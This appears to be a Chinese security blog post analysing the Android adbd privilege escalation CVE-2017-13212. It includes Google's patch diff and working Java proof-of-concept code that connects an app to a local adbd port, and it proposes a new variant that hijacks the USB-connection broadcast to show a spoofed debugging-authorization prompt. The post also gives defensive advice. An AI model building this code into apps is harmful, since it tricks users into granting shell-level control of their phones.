ADB配置提权漏洞（CVE-2017-13212）原理与利用分析

0×01 背景

adb由于拥有shell权限，因此仅在授权PC端后才可使用shell权限，而通过该漏洞，可以实现在移动端获取shell权限，以致于可随意删除应用、屏幕截图等等高权限操作。不过移动端恶意应用程序必须能够连接到adbd正在监听的TCP端口，这就需要应用程序在它的AndroidMainifest.xml中定义INTERNET权限。

而漏洞作者所用的攻击方法是构造一个覆盖窗口，劫持用户点击，也就是经典的hijack攻击。Google也据此修复了此种攻击方式。

但是，我经过尝试后发现，除了以上构造hijack攻击窗口外，还可以劫持USB广播，然后在用户进行正常的连接电脑操作时，劫持授权界面，使用户误导从而进行授权。也即造成新的劫持授权漏洞方案。

影响：

0×02 原理分析

为了能利用此adb配置漏洞，首先需要adb connect到adbd正在监听的端口，然后移动端会发起授权验证窗口，用户授权，验证通过后，可使用adb shell命令执行shell权限操作。

使用adb命令“adb tcpip port”来启用adbd以监听TCP端口

adb tcpip 5555 

在启用了USB调试，且adbd正处于TCP端口监听的情况下，恶意应用程序可以利用自带的adb二进制文件连接adbd，或者可以实现adb server协议与adbd通信。如果adb server尚未被设备授权，则会触发认证请求并提示用户验证并接受RSA公钥(引用[2])。但此认证框可被覆盖(Google已经修复)，具体可见参考文章。

分析下diff：

diff --git a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java

index f5447a2..329dd99 100644 --- a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java +++ b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java @@ -31,8 +31,12 @@ import android.os.SystemProperties;

 import android.util.Log;

 import android.view.LayoutInflater; +import android.view.MotionEvent; import android.view.View; +import android.view.Window; +import android.view.WindowManager; import android.widget.CheckBox; +import android.widget.Toast; import com.android.internal.app.AlertActivity;

 import com.android.internal.app.AlertController; @@ -48,6 +52,10 @@ @Override

     public void onCreate(Bundle icicle) { +        Window window = getWindow(); +        window.addPrivateFlags(WindowManager.LayoutParams.PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS); +        window.setType(WindowManager.LayoutParams.TYPE_SYSTEM_DIALOG); + super.onCreate(icicle);

         if (SystemProperties.getInt("service.adb.tcp.port", 0) == 0) { @@ -79,6 +87,23 @@ ap.mView = checkbox;

         setupAlert(); + +        // adding touch listener on affirmative button - checks if window is obscured +        // if obscured, do not let user give permissions (could be tapjacking involved) +        //增加了对伪造窗口的认证判定，防止用户被误导授权 +        final View.OnTouchListener filterTouchListener = (View v, MotionEvent event) -> { +            // Filter obscured touches by consuming them. +            if (((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED) != 0) +                    || ((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED) != 0)) { +                if (event.getAction() == MotionEvent.ACTION_UP) { +                    Toast.makeText(v.getContext(), +                            R.string.touch_filtered_warning, +                            Toast.LENGTH_SHORT).show(); +                } +                return true; +            } +            return false; +        }; +        mAlert.getButton(BUTTON_POSITIVE).setOnTouchListener(filterTouchListener); }

问题:

1. 貌似只是对伪造窗口进行了防御，可漏洞难道不是因为TCP端口监听而造成提权吗？

2. 那也就是用户授权后，依旧可以在移动端获取shell权限？

结论:

确实可以在移动端获取到shell权限

思考

那如果假设能监听用户是否连接USB，在用户进行正常的USB连接PC操作时，劫持授权窗口,即弹出我们的授权，也可以造成用户误导授权。

结论:

确实可以构造接收广播，当USB连接到PC时，会优先弹出我们的授权窗口，从而误导用户获得授权

攻击思路:

静态注册监听USB连接状态的广播，优先级设置为最高

一旦监听到连接，启动后台service，执行连接命令

此时会优先弹出我们的授权窗口，由于授权窗口并没有说明来自哪里的弹窗，见下图对比，仅仅是RSA指纹不同，即使是技术人员，也很难识别是来自哪里的授权窗口。

PC端授权窗口

apk恶意授权窗口

0×03 漏洞利用

试验环境: Android 4.4.4 Nexus 5

PC端执行

 adb tcpip 5555 

作者攻击思路验证Poc:

private void escalatePrivilege() { /*

        如果大于android 6.0

        需要使用预编译的adb可执行二进制文件

    */ try { String[] connectCmd = {"adb","connect","127.0.0.1:5555"}; String[] idCmd = {"adb","shell","id"};

            execCommand(connectCmd);

            execCommand(idCmd);

        } catch (Exception e) {

            Log.d(TAG, "escalatePrivilege: " + e.toString() );

        }

    }

    private void readData(InputStream inputStream){

        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream)); String data ; while (true) { try {

                data = reader.readLine(); if(data == null) { break;

                }

                Log.d(TAG, "output: " + data);

            } catch (IOException e) {

                e.printStackTrace();

            }

        }

    }

    private Process execCommand(String[] cmds){

        ProcessBuilder builder = new ProcessBuilder();

        Process execCommandProcess = null;

        builder.command(cmds);

        builder.directory(this.getFilesDir());

        builder.redirectErrorStream(true); Map<String, String> env = builder.environment();

        env.put("HOME", this.getFilesDir().toString());

        env.put("TMPDIR", this.getFilesDir().toString()); try {

            execCommandProcess = builder.start();

            execCommandProcess.waitFor();

            readData(execCommandProcess.getInputStream());

        }catch (InterruptedException e){

            e.printStackTrace();

        } catch (IOException e) {

            e.printStackTrace();

        } return execCommandProcess;

    } 

会弹出USB调试授权窗口，google已经修复此覆盖hijack漏洞。

Logcat输出:

output: connected to 127.0.0.1:5555 output: uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0 

备注:

可能在实验的时候，会没有弹出授权窗口，此时删除apk，撤销USB授权后，重启机器可还原环境。

0×04 思考部分攻击思路Exp

AndroidManifest.xml 增加USB广播:

<receiver android:name=".UsbBroadcastReceiver" android:enabled="true" android:exported="true"> <intent-filter android:priority="100"> <action android:name="android.hardware.usb.action.USB_STATE"/> </intent-filter> </receiver> 

然后在接收广播后，启动service,在onStartCommand中进行连接:

public int onStartCommand(Intent intent, int flags, int startId) {

        Log.d(TAG, "onStartCommand: adb vul");

        String[] connectCmd = {"adb","connect","127.0.0.1:5555"};

        execCommand(connectCmd); return super.onStartCommand(intent, flags, startId);

    } 

此时只要用户打开过该恶意应用，然后连接USB至电脑，则会弹出恶意的授权窗口:

只有用户点击一律允许后，再次连接usb才会弹出pc端的授权，也因此造成了用户的诱导.

0×05 防御与总结

防御

在进行试验的时候，漏洞利用阶段相对不稳定，有时候在连接的时候，并没有正常的弹窗，具体原因暂不明，后续有时间再研究。只要能正常弹出授权窗口，那么以上的攻击思路也即生效。

尽量在正规应用商店下载应用，不要授权来历不明的PC，注意授权的指纹信息

漏洞由于需要用户授权，也因此严重程度较低

总结

正向思考: 在用户进行正常授权后，可获得shell权限，也即可以在移动端实现静默安装、卸载等等功能。

通过授权劫持攻击，恶意应用可以在用户不知情的情况下获取高权限，从而对系统造成破坏。

0×06 参考

Privilege Escalation via adbd Misconfiguration

经验分享 | 通过adbd配置漏洞在安卓设备上提升权限

*本文原创作者：Tasfa